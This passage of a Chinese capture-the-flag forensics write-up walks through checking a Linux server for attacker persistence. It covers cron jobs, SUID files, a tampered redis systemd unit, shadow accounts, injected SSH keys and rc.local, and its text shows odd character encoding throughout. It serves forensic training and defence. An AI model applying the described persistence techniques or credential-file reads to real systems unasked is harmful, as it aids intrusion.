crontab -l命令,用于查看當(dāng)前用戶(hù)(截圖中是 root 用戶(hù))設(shè)置的定時(shí)任務(wù)。 - 原理:攻擊者常通過(guò)定時(shí)任務(wù)來(lái)定期執(zhí)行惡意腳本,比如定時(shí)啟動(dòng)挖礦程序、反彈 shell 腳本等,以維持對(duì)系統(tǒng)的訪(fǎng)問(wèn)權(quán)限。如果當(dāng)前用戶(hù)存在非管理員設(shè)置的定時(shí)任務(wù),就可能是權(quán)限維持的跡象。
- 結(jié)果分析:若顯示
no crontab for root,說(shuō)明當(dāng)前 root 用戶(hù)沒(méi)有通過(guò)crontab設(shè)置定時(shí)任務(wù),暫時(shí)未發(fā)現(xiàn)由定時(shí)任務(wù)帶來(lái)的權(quán)限維持風(fēng)險(xiǎn)。
二、檢測(cè) SUID 權(quán)限文件相關(guān)的權(quán)限維持手段
- 操作:執(zhí)行
find / -perm -u=s -type f 2>/dev/null命令,該命令用于查找系統(tǒng)中所有設(shè)置了 SUID 權(quán)限的文件。 - 原理:SUID(Set User ID)是一種特殊的文件權(quán)限,當(dāng)用戶(hù)執(zhí)行具有 SUID 權(quán)限的文件時(shí),將以文件所有者的權(quán)限運(yùn)行。攻擊者可能會(huì)篡改具有 SUID 權(quán)限的系統(tǒng)文件,使其在執(zhí)行時(shí)賦予攻擊者高權(quán)限,從而實(shí)現(xiàn)權(quán)限維持。例如,將原本正常的二進(jìn)制文件替換為惡意程序,當(dāng)其他用戶(hù)執(zhí)行該文件時(shí),惡意程序就能以文件所有者(通常是 root 等高權(quán)限用戶(hù))的身份運(yùn)行。
- 結(jié)果分析:截圖中輸出了一些系統(tǒng)默認(rèn)的具有 SUID 權(quán)限的程序,如
/usr/bin/newgrp、/usr/bin/passwd等,這些屬于正常的系統(tǒng)文件,暫時(shí)未發(fā)現(xiàn)異常的 SUID 權(quán)限文件被篡改的情況。
三、檢測(cè)系統(tǒng)服務(wù)相關(guān)的權(quán)限維持手段
- 操作:
- 執(zhí)行
systemctl list-unit-files --type=service | grep 'redis'命令,用于篩選出系統(tǒng)中與 redis 相關(guān)的服務(wù),并查看其啟用狀態(tài)。 - 執(zhí)行
cat /lib/systemd/system/redis.service命令,查看 redis 服務(wù)的配置文件內(nèi)容。
- 執(zhí)行
- 原理:systemd 是 Linux 系統(tǒng)中常用的系統(tǒng)和服務(wù)管理器,攻擊者可能會(huì)篡改正常服務(wù)的配置文件(如
ExecStart字段),在服務(wù)啟動(dòng)時(shí)執(zhí)行惡意程序,或者創(chuàng)建惡意的服務(wù)單元文件來(lái)實(shí)現(xiàn)開(kāi)機(jī)自啟惡意程序,從而維持對(duì)系統(tǒng)的控制。以 redis 服務(wù)為例,如果攻擊者在ExecStart字段中添加挖礦程序的啟動(dòng)命令,當(dāng) redis 服務(wù)啟動(dòng)時(shí),挖礦程序也會(huì)隨之啟動(dòng),并且由于服務(wù)設(shè)置為開(kāi)機(jī)自啟(截圖中顯示redis.service enabled),每次系統(tǒng)重啟后挖礦程序都會(huì)自動(dòng)運(yùn)行。 - 結(jié)果分析:
- 從
systemctl list-unit-files --type=service | grep 'redis'的結(jié)果可知,redis 服務(wù)處于啟用狀態(tài),需要進(jìn)一步檢查其配置文件是否被篡改。 - 通過(guò)查看
redis.service配置文件,雖然目前看起來(lái)啟動(dòng)命令ExecStart等字段是正常調(diào)用 redis-server 程序,但仍需進(jìn)一步確認(rèn)文件的完整性和準(zhǔn)確性,比如對(duì)比官方標(biāo)準(zhǔn)配置文件,或者檢查文件的修改時(shí)間等信息,以確定是否存在被惡意篡改的情況。
- 從
四、其他常見(jiàn)的權(quán)限維持手段及檢測(cè)思路補(bǔ)充
- 影子賬戶(hù):攻擊者創(chuàng)建隱藏的具有高權(quán)限的賬戶(hù)。檢測(cè)時(shí)可以檢查
/etc/passwd和/etc/shadow文件,查看是否存在異常的用戶(hù)賬戶(hù),比如 UID 為 0 但用戶(hù)名不是 root 的賬戶(hù),或者賬戶(hù)信息異常、沒(méi)有登錄 Shell 卻能登錄系統(tǒng)的賬戶(hù)等。 - SSH 密鑰篡改:攻擊者修改
~/.ssh/authorized_keys文件,添加自己的公鑰,實(shí)現(xiàn)無(wú)密碼登錄。可以檢查該文件的內(nèi)容,查看是否存在陌生的公鑰,同時(shí)檢查文件的權(quán)限是否被篡改(正常情況下權(quán)限應(yīng)為 600 )。 - 啟動(dòng)腳本篡改:檢查系統(tǒng)啟動(dòng)腳本,如
/etc/rc.local等,查看是否被添加了惡意命令。因?yàn)檫@些腳本會(huì)在系統(tǒng)啟動(dòng)時(shí)執(zhí)行,攻擊者可以利用這一點(diǎn)來(lái)啟動(dòng)惡意程序。
參考WP
2023第二屆隴劍杯網(wǎng)絡(luò)安全大賽 預(yù)選賽Writeup_第二屆“隴劍杯”網(wǎng)絡(luò)安全大賽線(xiàn)上賽write up2023、-CSDN博客
比較精簡(jiǎn)
精簡(jiǎn)一些
相當(dāng)詳細(xì)

23年的題目比21年更加全面了,對(duì)流量分析以及取證分析更加深入,切合實(shí)戰(zhàn),深入且多樣,本次附件同樣來(lái)自DIDCTF
浙公網(wǎng)安備 33010602011771號(hào)